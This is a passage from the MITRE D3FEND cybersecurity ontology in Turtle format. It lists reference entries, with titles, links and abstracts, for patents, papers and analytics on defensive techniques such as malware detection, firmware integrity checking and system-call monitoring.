    d3f:kb-abstract "The Windows built-in tool schtasks.exe provides the creation, modification, and running of scheduled tasks on a local or remote computer. It is provided as a more flexible alternative to at.exe, described in CAR-2013-05-004. Although used by adversaries, the tool is also legitimately used by administrators, scripts, and software configurations. The scheduled tasks tool can be used to gain Persistence and can be used in combination with a Lateral Movement technique to remotely gain execution. Additionally, the command has parameters to specify the user and password responsible for creating the task, as well as the user and password combination that the task will run as. The /s flag will cause a task to run as the SYSTEM user, usually indicating privilege escalation." ;
    d3f:kb-author "" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "" ;
    d3f:kb-reference-of d3f:ScheduledJobAnalysis ;
    d3f:kb-reference-title "CAR-2013-08-001: Execution with schtasks" .

d3f:Reference-FederalPublicKeyInfrastructure101 a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Federal Public Key Infrastructure 101" ;
    d3f:has-link "https://www.idmanagement.gov/university/fpki/"^^xsd:anyURI ;
    d3f:kb-author "Identity, Credential, and Access Management Subcommittee (ICAMSC)" ;
    d3f:kb-reference-of d3f:Certificate-basedAuthentication ;
    d3f:kb-reference-title "Federal Public Key Infrastructure 101" .

d3f:Reference-File-modifyingMalwareDetection_CrowdstrikeInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - File-modifying malware detection - Crowdstrike Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20180121650A1/en?oq=US-2018121650-A1"^^xsd:anyURI ;
    d3f:kb-abstract "A security agent implemented on a computing device is described herein. The security agent is configured to detect file-modifying malware by detecting that a process is traversing a directory of the memory of the computing device and detecting that the process is accessing files in the memory according to specified file access patterns. The security agent can also be configured to correlate actions of multiple processes that correspond to a specified file access pattern and detect that one or more of the multiple processes are malware by correlating their behavior." ;
    d3f:kb-author "Daniel W. Brown" ;
    d3f:kb-mitre-analysis """This patent describes a technique for detecting file modifying malware such as wipers and ransomware that overwrite portions of files and encrypt portions of a computer's memory, respectively. Processes that are traversing a directory are identified along with file access patterns. Processes executing on a computing device that are traversing a directory include:

* changing a directory of a process (e.g., iteratively, systematically, repeatedly)
* detecting that a process is conducting an "open directory" operation repeatedly
* the same process traversing through a directory and recording the locations of data files encountered in each sub - directory

In addition to identifying processes traversing a directory, particular file access patterns are also detected that may be indicative of malicious behavior including:
* multiple file types being accessed
* accessing a large number of files
* files located in multiple locations in the directory being accessed

If a process is conducting a traversal of the directory and accessing files according to a defined access pattern associated with malicious behavior, a preventative action is performed.""" ;
    d3f:kb-organization "Crowdstrike Inc" ;
    d3f:kb-reference-of d3f:FileAccessPatternAnalysis ;
    d3f:kb-reference-title "File-modifying malware detection" .

d3f:Reference-FileEncryption101SafeguardingYourSensitiveData a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference -  File Encryption 101: Safeguarding Your Sensitive Data" ;
    d3f:has-link "https://www.veritas.com/information-center/file-encryption"^^xsd:anyURI ;
    d3f:kb-abstract "File encryption is a security method that converts your files into ciphertext or unreadable data. By using this method, you may be sure that even if unauthorized people access your files, they won't be able to understand the contents without the decryption key." ;
    d3f:kb-author "Veritas" ;
    d3f:kb-reference-of d3f:FileEncryption ;
    d3f:kb-reference-title "File Encryption 101: Safeguarding Your Sensitive Data" .

d3f:Reference-FileIntegrityMonitoringinMicrosoftDefenderforCloud-Microsoft a d3f:UserManualReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - File Integrity Monitoring in Microsoft Defender for Cloud - Microsoft" ;
    d3f:has-link "https://learn.microsoft.com/en-us/azure/defender-for-cloud/file-integrity-monitoring-overview"^^xsd:anyURI ;
    d3f:kb-organization "Microsoft" ;
    d3f:kb-reference-of d3f:FileIntegrityMonitoring ;
    d3f:kb-reference-title "File Integrity Monitoring in Microsoft Defender for Cloud" .

d3f:Reference-FirmwareBehaviorAnalysisConFirm a d3f:AcademicPaperReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Firmware Behavior Analysis ConFirm" ;
    d3f:has-link "http://sites.nyuad.nyu.edu/moma/pdfs/pubs/C22.pdf"^^xsd:anyURI ;
    d3f:kb-abstract """The modernization of various critical infrastructure components has dictated the use of microprocessor-based
embedded control systems in critical applications. It is often
infeasible, however, to employ the same level of security measures used in general purpose computing systems, due to the stringent
performance and resource constraints of embedded devices. Furthermore, as software relies on the firmware for proper operation,
no software-level technique can detect malicious behavior of
the firmware. In this work, we propose ConFirm, a low-cost
technique to detect malicious modifications in the firmware
of embedded systems by measuring the number of low-level hardware events that occur during the execution of the firmware.""" ;
    d3f:kb-author "Xueyang Wang, Charalambos Konstantinou, Michail Maniatakos, Ramesh Karri" ;
    d3f:kb-organization "Department of Electrical and Computer Engineering, Polytechnic School of Engineering, New York University and Department of Electrical and Computer Engineering, New York University Abu Dhabi" ;
    d3f:kb-reference-of d3f:FirmwareBehaviorAnalysis ;
    d3f:kb-reference-title """ConFirm: Detecting Firmware Modifications in Embedded Systems
using Hardware Performance Counters""" .

d3f:Reference-FirmwareBehaviorAnalysisVIPER a d3f:AcademicPaperReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Firmware Behavior Analysis VIPER" ;
    d3f:has-link "https://dl.acm.org/doi/pdf/10.1145/2046707.2046711"^^xsd:anyURI ;
    d3f:kb-abstract "Recent research demonstrates that malware can infect peripherals' firmware in a typical x86 computer system, e.g., by exploiting vulnerabilities in the firmware itself or in the firmware update tools. Verifying the integrity of peripherals' firmware is thus an important challenge. We propose software-only attestation protocols to verify the integrity of peripherals' firmware, and show that they can detect all known software-based attacks." ;
    d3f:kb-author "Yanlin Li, Jonathan M. McCune, Adrian Perrig" ;
    d3f:kb-organization "CyLab, Carnegie Mellon University" ;
    d3f:kb-reference-of d3f:FirmwareBehaviorAnalysis ;
    d3f:kb-reference-title "VIPER: Verifying the Integrity of PERipherals' Firmware" .

d3f:Reference-FirmwareEmbeddedMonitoringCodeRedBalloon a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Firmware Embedded Monitoring Code Red Balloon" ;
    d3f:has-link "https://patents.google.com/patent/US10657262B1/en"^^xsd:anyURI ;
    d3f:kb-abstract "Systems and methods for securing embedded devices via both online and offline defensive strategies. One or more security software components may be injected into firmware binary to create a modified firmware binary, which is functionally- and size-equivalent to the original firmware binary. The security software components may retrieve live forensic information related to embedded devices for use in live hardening of the modified firmware binary while the embedded device is online, dynamically patching the firmware" ;
    d3f:kb-author "Ang Cui, Salvatore J. Stolfo" ;
    d3f:kb-organization "Red Balloon Security, Inc" ;
    d3f:kb-reference-of d3f:FirmwareEmbeddedMonitoringCode ;
    d3f:kb-reference-title "Method and apparatus for securing embedded device firmware" .

d3f:Reference-FirmwareEmbeddedMonitoringCodeSymbiotes a d3f:AcademicPaperReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Firmware Embedded Monitoring Code Symbiotes" ;
    d3f:has-link "http://nsl.cs.columbia.edu/projects/minestrone/papers/Symbiotes.pdf"^^xsd:anyURI ;
    d3f:kb-abstract """A large number of embedded devices on the internet, such as
routers and VOIP phones, are typically ripe for exploitation. Little to no defensive technology, such as AV scanners or IDS's, are available to protect these devices. We propose a host-based defense mechanism, which we call Symbiotic Embedded Machines (SEM), that is specifically designed
to inject intrusion detection functionality into the firmware of the device.""" ;
    d3f:kb-author "Ang Cui, Salvatore J. Stolfo" ;
    d3f:kb-organization "Department of Computer Science Columbia University" ;
    d3f:kb-reference-of d3f:FirmwareEmbeddedMonitoringCode ;
    d3f:kb-reference-title "Defending Embedded Systems with Software Symbiotes" .

d3f:Reference-FrameworkForNotifyingADirectoryServiceOfAuthenticationEventsProcessedOutsideTheDirectoryService_OracleInternationalCorp a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Framework for notifying a directory service of authentication events processed outside the directory service - Oracle International Corp" ;
    d3f:has-link "https://patents.google.com/patent/US20090077645A1"^^xsd:anyURI ;
    d3f:kb-abstract "Methods, systems and machine-readable media for authenticating an end user for a client application are disclosed. According to one embodiment of the invention, a method of authenticating an end user for a client application using a directory service having an authentication control policy that tracks failed authentication attempts and allows lock out of an account after a predetermined number of failures comprises receiving end user identity information and security information at the client application; sending a search request to the directory service for an entry associated with the end user identity information and, if a match is found, receiving a authentication token from the directory service associated with the end user identity information; comparing the received authentication token with the security information; if the authentication token matches the security information, sending a request to update the directory service to indicate that successful authentication of the end user has occurred; and if the authentication token does not match the security information, sending a request to update the directory service to indicate that a failed attempt at authentication of the end user has occurred." ;
    d3f:kb-author "Buddhika Nandana Kottahachchi" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Oracle International Corp" ;
    d3f:kb-reference-of d3f:AccountLocking ;
    d3f:kb-reference-title "Framework for notifying a directory service of authentication events processed outside the directory service" .

d3f:Reference-GS_BufferSecurityCheck_MicrosoftDocs a d3f:UserManualReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - /GS (Buffer Security Check) - Microsoft Docs" ;
    d3f:has-link "https://docs.microsoft.com/en-us/cpp/build/reference/gs-buffer-security-check?view=vs-2019"^^xsd:anyURI ;
    d3f:kb-abstract "" ;
    d3f:kb-author "" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Microsoft Docs" ;
    d3f:kb-reference-of d3f:StackFrameCanaryValidation ;
    d3f:kb-reference-title "/GS (Buffer Security Check)" .

d3f:Reference-GenericRegsvr32_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2019-04-002: Generic Regsvr32 - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2019-04-002/"^^xsd:anyURI ;
    d3f:kb-abstract "Regsvr32 can be used to execute arbitrary code in the context of a Windows signed binary, which can be used to bypass application whitelisting. This analytic looks for suspicious usage of the tool. It's not likely that you'll get millions of hits, but it does occur during normal activity so some form of baselining would be necessary for this to be an alerting analytic. Alternatively, it can be used for hunt by looking for new or anomalous DLLs manually." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessLineageAnalysis ;
    d3f:kb-reference-title "CAR-2019-04-002: Generic Regsvr32" .

d3f:Reference-GuardsForApplicationInSoftwareTamperproofing_PurdueResearchFoundation a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Guards for application in software tamperproofing - Purdue Research Foundation" ;
    d3f:has-link "https://patents.google.com/patent/US7287166B1/en?oq=US-7287166-B1"^^xsd:anyURI ;
    d3f:kb-abstract "A method of protecting a software program from unauthorized modification, and a system for practicing the method. The method utilizes self-protecting software code. Armed internally with self-defensive mechanisms, a self-protecting software program is tamper-resistant. Whenever its integrity is compromised, a self-protecting software program may become unusable due to software program crashes or other errors, or may generate subtle errors that do not immediately result render the program unusable but still result in incorrect software program execution. A self-protecting software program also may be able to repair itself to restore the integrity of its damaged code. The system comprises a computer program for automatically adding self-protection features to a software program." ;
    d3f:kb-author "Hoi Chang; Mikhail J. Atallah; John R. Rice" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Purdue Research Foundation" ;
    d3f:kb-reference-of d3f:ProcessCodeSegmentVerification ;
    d3f:kb-reference-title "Guards for application in software tamperproofing" .

d3f:Reference-GuideToStorageEncryptionTechnologiesForEndUserDevices a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Guide to Storage Encryption Technologies for End User Devices" ;
    d3f:has-link "https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-111.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "Many threats against end user devices could cause information stored on the devices to be accessed by unauthorized parties. To prevent such disclosures of information, particularly of personally identifiable information (PII) and other sensitive data, the information needs to be secured. Securing other components of end user devices, such as operating systems, is also necessary, but in many cases storage security, which is the process of allowing only authorized parties to access and use stored information. The primary security controls for restricting access to sensitive information stored on end user devices are encryption and authentication. Encryption can be applied granularly, such as to an individual file containing sensitive information, or broadly, such as encrypting all stored data. The appropriate encryption solution for a particular situation depends primarily upon the type of storage, the amount of information that needs to be protected, the environments where the storage will be located, and the threats that need to be mitigated." ;
    d3f:kb-author "Karen Scarfone, Murugiah Souppaya, and Matt Sexton" ;
    d3f:kb-reference-of d3f:FileEncryption ;
    d3f:kb-reference-title "NIST Special Publication 800-111 - Guide to Storage Encryption Technologies for End User Devices" .

d3f:Reference-GuidetoOTSecurity a owl:NamedIndividual .

d3f:Reference-Hardware-assistedSystemAndMethodForDetectingAndAnalyzingSystemCallsMadeToAnOpertingSystemKernel_EndgameInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Hardware-assisted system and method for detecting and analyzing system calls made to an operting system kernel - Endgame Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20180032728A1/en?oq=US20180032728-A1"^^xsd:anyURI ;
    d3f:kb-abstract "The present disclosure relates to a system and method for monitoring system calls to an operating system kernel. A performance monitoring unit is used to monitor system calls and to gather information about each system call. The information is gathered upon interrupting the system call and can include system call type, parameters, and information about the calling thread/process, in order to determine whether the system call was generated by malicious software code. Potentially malicious software code is nullified by a malicious code counter-attack module." ;
    d3f:kb-author "Matthew D. Spisak" ;
    d3f:kb-mitre-analysis """This patent describes a technique for monitoring system calls to detect malicious software code. A system call monitoring module operates at the kernel level and traps system calls.
Monitoring data includes:

* information about the path to the file to be accessed by a system call.
* the memory address or range of addresses to be accessed by a system call.
* the context for the thread within operating system that will be interrupted by a system call.
* the type of system call information about the socket that is being used by system call in order to send or receive data.
* the history of system calls in order to monitor for specific sequences of system calls.
* the frequency or periodicity of a particular system call or set of systems calls.

Captured system call data is analyzed using data analysis algorithms such as machine learning algorithms, artificial intelligence algorithms, pattern recognition algorithms, or other known data analysis techniques. An alert is generated if it is likely that the system call was generated by malicious software code.""" ;
    d3f:kb-organization "Endgame Inc" ;
    d3f:kb-reference-of d3f:SystemCallAnalysis ;
    d3f:kb-reference-title "Hardware-assisted system and method for detecting and analyzing system calls made to an operting system kernel" .

d3f:Reference-HeuristicBotnetDetection_PaloAltoNetworksInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Heuristic botnet detection - Palo Alto Networks Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20160156644A1"^^xsd:anyURI ;
    d3f:kb-abstract "In some embodiments, heuristic botnet detection is provided. In some embodiments, heuristic botnet detection includes monitoring network traffic to identify suspicious network traffic; and detecting a bot based on a heuristic analysis of the suspicious network traffic behavior using a processor, in which the suspicious network traffic behavior includes command and control traffic associated with a bot master. In some embodiments, heuristic botnet detection further includes assigning a score to the monitored network traffic, in which the score corresponds to a botnet risk characterization of the monitored network traffic (e.g., based on one or more heuristic botnet detection techniques); increasing the score based on a correlation of additional suspicious behaviors associated with the monitored network traffic (e.g., based on one or more heuristic botnet detection techniques); and determining the suspicious behavior is associated with a botnet based on the score." ;
    d3f:kb-author "Xinran Wang; Huagang Xie" ;
    d3f:kb-mitre-analysis """This patent describes detecting botnets using heuristic analysis techniques on collected network flows. The heuristic techniques include:

* Identifying suspicious traffic patterns to detect command and control traffic ex. periodically visiting a known malware URL, a host visiting a malware domain twice every 5 hour and 14 minutes (this is a specific pattern for a variant of Swizzor botnets).
* Identifying non-standard behaviors such as connecting to a non-standard HTTP port for HTTP traffic, visiting a non-existent domain, downloading executable files with non-standard executable file extensions, communicating using HTTP header with a shorter than common length
* Analyzing visited domain information to identify the following: visiting a domain with a domain name that is longer than a common domain name length, visiting a dynamic DNS domain, visiting a fast-flux domain, and visiting a recently created domain.

A score is determined based on these factors and if the score is over a threshold, a responsive action is performed.""" ;
    d3f:kb-organization "Palo Alto Networks Inc" ;
    d3f:kb-reference-of d3f:DNSTrafficAnalysis ;
    d3f:kb-reference-title "Heuristic botnet detection" .

d3f:Reference-HostDiscoveryCommands_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2016-03-001: Host Discovery Commands - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2016-03-001/"^^xsd:anyURI ;
    d3f:kb-abstract """When entering on a host for the first time, an adversary may try to discover information about the host. There are several built-in Windows commands that can be used to learn about the software configurations, active users, administrators, and networking configuration. These commands should be monitored to identify when an adversary is learning information about the system and environment. The information returned may impact choices an adversary can make when establishing persistence, escalating privileges, or moving laterally.

Because these commands are built in, they may be run frequently by power users or even by normal users. Thus, an analytic looking at this information should have well-defined white- or blacklists, and should consider looking at an anomaly detection approach, so that this information can be learned dynamically.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2016-03-001: Host Discovery Commands" .

d3f:Reference-HowASLRProtectsLinuxSystemsFromBufferOverflowAttacks_NetworkWorld a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - How ASLR protects Linux systems from buffer overflow attacks - Network World" ;
    d3f:has-link "https://www.networkworld.com/article/3331199/what-does-aslr-do-for-linux.html"^^xsd:anyURI ;
    d3f:kb-abstract "ASLR (Address Space Layout Randomization) is a memory exploitation mitigation technique used on both Linux and Windows systems. Learn how to tell if it's running, enable/disable it, and get a view of how it works." ;
    d3f:kb-author "Sandra Henry-Stocker" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Network World" ;
    d3f:kb-reference-of d3f:SegmentAddressOffsetRandomization ;
    d3f:kb-reference-title "How ASLR protects Linux systems from buffer overflow attacks" .

d3f:Reference-HowDoesAntivirusQuarantineWork-SafetyDetectives a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - How Does Antivirus Quarantine Work? - Safety Detectives" ;
    d3f:has-link "https://www.safetydetectives.com/blog/how-does-antivirus-quarantine-work/"^^xsd:anyURI ;
    d3f:kb-abstract "Your antivirus has just finished a regular scan and it’s asking whether you want to quarantine the virus it’s found. You click ‘yes’ without putting much thought into what’s actually happening. But what does quarantining actually mean, what does it do and is it safe for your computer? It’s important to understand the details so that you know what’s happening when you send infected files into quarantine." ;
    d3f:kb-author "Katarina Glamoslija" ;
    d3f:kb-reference-title "How Does Antivirus Quarantine Work?" .

d3f:Reference-HowToChangeRegistryValuesOrPermissionsFromACommandLineOrAScript a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - How to change registry values or permissions from a command line or a script" ;
    d3f:has-link "https://docs.microsoft.com/en-us/troubleshoot/windows-client/application-management/change-registry-values-permissions"^^xsd:anyURI ;
    d3f:kb-abstract """This article describes how to change registry values or permissions from a command line or a script.

Applies to:   Windows 10 - all editions, Windows Server 2012 R2
Original KB number:   264584""" ;
    d3f:kb-organization "Microsoft" ;
    d3f:kb-reference-title "How to change registry values or permissions from a command line or a script" .

d3f:Reference-HowTrustRelationshipsWorkForResourceForestsInAzureActiveDirectoryDomainServices a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - How trust relationships work for resource forests in Azure Active Directory Domain Services" ;
    d3f:has-link "https://docs.microsoft.com/en-us/azure/active-directory-domain-services/concepts-forest-trust"^^xsd:anyURI ;
    d3f:kb-abstract "Active Directory Domain Services (AD DS) provides security across multiple domains or forests through domain and forest trust relationships. Before authentication can occur across trusts, Windows must first check if the domain being requested by a user, computer, or service has a trust relationship with the domain of the requesting account." ;
    d3f:kb-author "Microsoft" ;
    d3f:kb-reference-of d3f:DomainTrustPolicy ;
    d3f:kb-reference-title "How trust relationships work for resource forests in Azure Active Directory Domain Services" .

d3f:Reference-IEEE-802_1AB-2016 a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - IEEE Standard for Local and Metropolitan Area Networks - Station and Media Access Control Connectivity Discovery" ;
    d3f:has-link "https://standards.ieee.org/ieee/802.1AB/6047/"^^xsd:anyURI ;
    d3f:kb-organization "IEEE" ;
    d3f:kb-reference-of d3f:HardwareComponentInventory ;
    d3f:kb-reference-title "IEEE Standard for Local and Metropolitan Area Networks - Station and Media Access Control Connectivity Discovery" .

d3f:Reference-IdentificationAndExtractionOfKeyForensicsIndicatorsOfCompromiseUsingSubject-specificFilesystemViews a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Identification and extraction of key forensics indicators of compromise using subject-specific filesystem views" ;
    d3f:has-link "https://patents.google.com/patent/US20200004962A1/en"^^xsd:anyURI ;
    d3f:kb-abstract "A stackable filesystem that transparently tracks process file writes for forensic analysis. The filesystem comprises a base filesystem, and an overlay filesystem. Processes see the union of the upper and lower filesystems, but process writes are only reflected in the overlay. By providing per-process views of the filesystem using this stackable approach, a forensic analyzer can record a process's file-based activity-i.e., file creation, deletion, modification. These activities are then analyzed to identify indicators of compromise (IoCs). These indicators are then fed into a forensics analysis engine, which then quickly decides whether a subject (e.g., process, user) is malicious. If so, the system takes some proactive action to alert a proper authority, to quarantine the potential attack, or to provide other remediation. The approach enables forensic analysis without requiring file access mediation, or conducting system event-level collection and analysis, making it a lightweight, and non-intrusive solution." ;
    d3f:kb-author "Frederico Araujo; Anne E. Kohlbrenner; Marc Philippe Stoecklin; Teryl Paul Taylor" ;
    d3f:kb-reference-title "Identification and extraction of key forensics indicators of compromise using subject-specific filesystem views" .

<http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-IdentifyingADenial-of-serviceAttackInACloud-basedProxyService-CloudfareInc.> a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Identifying a denial-of-service attack in a cloud-based proxy service - Cloudfare Inc." ;
    d3f:has-link "https://patents.google.com/patent/US8613089B1"^^xsd:anyURI ;
    d3f:kb-abstract "A cloud-based proxy service identifies a denial-of-service (DoS) attack including determining that there is a potential DoS attack being directed to an IP address of the cloud-based proxy service; and responsive to determining that there are a plurality of domains that resolve to that IP address, identifying the one of the plurality of domains that is the target of the DoS attack. The domain that is under attack is identified by scattering the plurality of domains to resolve to different IP addresses, where a result of the scattering is that each of those domains resolves to a different IP address, and identifying one of those plurality of domains as the target of the DoS attack by determining that there is an abnormally high amount of traffic being directed to the IP address in which that domain resolves." ;
    d3f:kb-author "Lee Hahn Holloway, Srikanth N. Rao, Matthew Browning Prince, Matthieu Philippe Francois Tourne, Ian Gerald Pye, Ray Raymond Bejjani, Terry Paul Rodery, Jr." ;
    d3f:kb-organization "Cloudfare Inc." ;
    d3f:kb-reference-of d3f:InboundSessionVolumeAnalysis ;
    d3f:kb-reference-title "Identifying a denial-of-service attack in a cloud-based proxy service" .

d3f:Reference-IndirectBranchingCalls a d3f:AcademicPaperReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Indirect Branching Calls" ;
    d3f:has-link "https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.1048.1241&rep=rep1&type=pdf"^^xsd:anyURI ;
    d3f:kb-abstract """Return-oriented programming (ROP) has become the
primary exploitation technique for system compromise
in the presence of non-executable page protections. ROP
exploits are facilitated mainly by the lack of complete
address space randomization coverage or the presence
of memory disclosure vulnerabilities, necessitating additional ROP-specific mitigations.
In this paper we present a practical runtime ROP exploit prevention technique for the protection of thirdparty applications. Our approach is based on the detection of abnormal control transfers that take place during
ROP code execution. This is achieved using hardware
features of commodity processors, which incur negligible runtime overhead and allow for completely transparent operation without requiring any modifications to
the protected applications. Our implementation for Windows 7, named kBouncer, can be selectively enabled for
installed programs in the same fashion as user-friendly
mitigation toolkits like Microsoft's EMET. The results of
our evaluation demonstrate that kBouncer has low runtime overhead of up to 4%, when stressed with specially
crafted workloads that continuously trigger its core detection component, while it has negligible overhead for
actual user applications. In our experiments with in-thewild ROP exploits, kBouncer successfully protected all
tested applications, including Internet Explorer, Adobe
Flash Player, and Adobe Reader.""" ;
    d3f:kb-author """Vasilis Pappas, Michalis Polychronakis, Angelos D. Keromytis
Columbia University""" ;
    d3f:kb-organization "Columbia University" ;
    d3f:kb-reference-of d3f:IndirectBranchCallAnalysis ;
    d3f:kb-reference-title "Transparent ROP Exploit Mitigation using Indirect Branch Tracing" .

d3f:Reference-InferentialExploitAttemptDetection_CrowdstrikeInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Inferential exploit attempt detection - Crowdstrike Inc" ;
    d3f:has-link "https://patents.google.com/patent/US10216934B2/en?oq=US-10216934-B2"^^xsd:anyURI ;
    d3f:kb-abstract """A security agent implemented on a monitored computing device is described herein. The security agent is configured to detect an action of interest (AoI) that may be probative of a security exploit and to determine a context in which that AoI occurred. Based on that context, the security agent is further configured to decide whether the AoI is a security exploit and can take preventative action to prevent the exploit from being completed.

Determining that the AoI includes the security exploit is based at least in part on one or more of: determining that the return address is outside memory previously allocated for an object; determining that the object identifier is associated with a vulnerable object; determining that permissions of the memory region include two or more of read, write, and execute; or determining that the memory region is one page in length.

Determining that the return address is outside memory previously allocated for an object and the method further including treating code that the return address points to as malicious code.""" ;
    d3f:kb-author "Daniel W. Brown; Ion-Alexandru Ionescu; Loren C. Robinson" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Crowdstrike Inc" ;
    d3f:kb-reference-of d3f:MemoryBoundaryTracking ;
    d3f:kb-reference-title "Inferential exploit attempt detection" .

d3f:Reference-InstantProcessTerminationToolToRecoverControlOfAnInformationHandlingSystem_DellProductsLP a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Instant process termination tool to recover control of an information handling system - Dell Products LP" ;
    d3f:has-link "https://patents.google.com/patent/US20060236108A1/en"^^xsd:anyURI ;
    d3f:kb-abstract "A method and system for automatic termination of unauthorized malevolent processes operating on an information handling system. A list of authenticated and essential process list is stored on the information handling system. Unauthorized processes not contained on the list can be automatically terminated by the user by invoking the present invention with a single click of a mouse or pointer device on an icon residing on the display screen of the information handling system. The offending processes are immediately terminated without generating a user prompt, which would ordinarily provide sufficient time for the malware to spawn additional offending processes. The present invention also provides significant means to recover control of a malware-infected information handling system in order to use repair tools and utilities. The present invention can be deployed at the time of manufacture of an information handling system or independently installed by a user." ;
    d3f:kb-author "Carlton Andrews" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Dell Products LP" ;
    d3f:kb-reference-of d3f:ProcessTermination ;
    d3f:kb-reference-title "Instant process termination tool to recover control of an information handling system" .

d3f:Reference-IntegerRangeValidation_SEI a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Integer Range Validation" ;
    d3f:has-link "https://resources.sei.cmu.edu/downloads/secure-coding/assets/sei-cert-c-coding-standard-2016-v01.pdf"^^xsd:anyURI ;
    d3f:kb-organization "Software Engineering Institute" ;
    d3f:kb-reference-of d3f:IntegerRangeValidation ;
    d3f:kb-reference-title "SEI CERT C Coding Standard" .

d3f:Reference-IntegrityAssuranceThroughEarlyLoadingInTheBootPhase_CrowdstrikeInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Integrity assurance through early loading in the boot phase - Crowdstrike Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20170061127A1"^^xsd:anyURI ;
    d3f:kb-abstract "Techniques utilizing library and pre-boot components to ensure that a driver associated with a kernel-mode component is initialized before other drivers during a boot phase are described herein. The library component is processed during a boot phase; the pre-boot component, which may be an alternative to the library component, is processed during a pre-boot phase. By ensuring that the driver is the first driver initialized, the components enable the driver to launch the kernel-mode component before other drivers are initialized. The library component may also determine whether another driver is to be initialized before the kernel-mode component driver, may ensure that kernel-mode component driver is initialized first, and may alert the kernel-mode component. Also, the library component may retrieve information that is to be deleted by the operating system before initialization of drivers and may provide that information to the kernel-mode component." ;
    d3f:kb-author "Ion-Alexandru Ionescu" ;
    d3f:kb-mitre-analysis """To compromise software or to gain control of a host device, a security exploit can modify driver initialization order used by an operating system and place a driver associated with the security exploit first in a list of drivers initialized by the operating system.

This patent describes ensuring that a driver associated with the agent is initialized first. To ensure the driver is initialized first, a dependent DLL associated with the driver is configured to be processed before other dependent DLLs. The dependent DLL can be configured to be processed first by various methods, for example if processing is done in alphabetical order, changing its name to be processed first. The dependent DLL, once processed, executes a number of operations to ensure the driver associated with the agent is initialized first. Furthermore, if the initialization order is modified, an alert is provided to the kernel-mode component that notifies the kernel-mode component it was not first and the order had to be altered. It can then take additional actions such as additional monitoring or remediation.""" ;
    d3f:kb-organization "Crowdstrike Inc" ;
    d3f:kb-reference-of d3f:DriverLoadIntegrityChecking ;
    d3f:kb-reference-title "Integrity assurance through early loading in the boot phase" .

d3f:Reference-IntroductoryComputerForensics a d3f:BookReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Introductory Computer Forensics" ;
    d3f:has-link "https://core.ac.uk/download/pdf/326762883.pdf"^^xsd:anyURI ;
    d3f:kb-author "Xiaodong Lin" ;
    d3f:kb-reference-of d3f:FileMetadataValueVerification ;
    d3f:kb-reference-title "Introductory Computer Forensics" .

d3f:Reference-IntrusionDetectionUsingAHeartbeat_SophosLtd a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Intrusion detection using a heartbeat - Sophos Ltd" ;
    d3f:has-link "https://patents.google.com/patent/US20180191752A1"^^xsd:anyURI ;
    d3f:kb-abstract "A variety of techniques are disclosed for detection of advanced persistent threats and similar malware. In one aspect, the detection of certain network traffic at a gateway is used to trigger a query of an originating endpoint, which can use internal logs to identify a local process that is sourcing the network traffic. In another aspect, an endpoint is configured to periodically generate and transmit a secure heartbeat, so that an interruption of the heartbeat can be used to signal the possible presence of malware. In another aspect, other information such as local and global reputation information is used to provide context for more accurate malware detection." ;
    d3f:kb-author "Kenneth D. Ray" ;
